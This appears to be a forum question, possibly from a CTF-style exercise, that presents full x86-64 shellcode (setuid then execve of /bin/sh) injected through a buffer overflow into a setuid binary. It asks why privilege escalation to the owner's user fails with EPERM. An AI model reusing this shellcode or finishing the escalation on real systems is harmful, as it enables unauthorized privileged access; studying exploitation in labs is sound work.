I've got the following shellcode which I can convince a setuid binary to execute as the result of a buffer overflow:
push 1009 ; #owner_userid
pop rdi
push 105
pop rax
syscall ; #sys_setuid(1009)
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 59
pop rax
cdq
syscall ; #sys_execve('/bin//sh')
This successfully spawns a shell, but when I run whoami
in it, I get my own username rather than that of the binary's owner (with the user id #1009). How can I launch /bin/sh
with the permissions of the setuid binary's owner?
Other details:
- GDB shows that that
sys_setuid(1009)
is returning -1 EPERM to $rax - Running
sys_getuid()
in the shellcode returns my own UID (#1000) as doessys_geteuid
- Running
sys_setreuid(1009, 1009)
also returns -1 EPERM to $rax file <binary>
outputsbinary: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked
so the binary definitely has setuid setla -la
gives:-rwsr-xr-x 1 target_user root 800118 Mar 1 13:40 binary
- I'm technically limited to 34 bytes for the final shellcode, but that's not directly relevant to the general question here.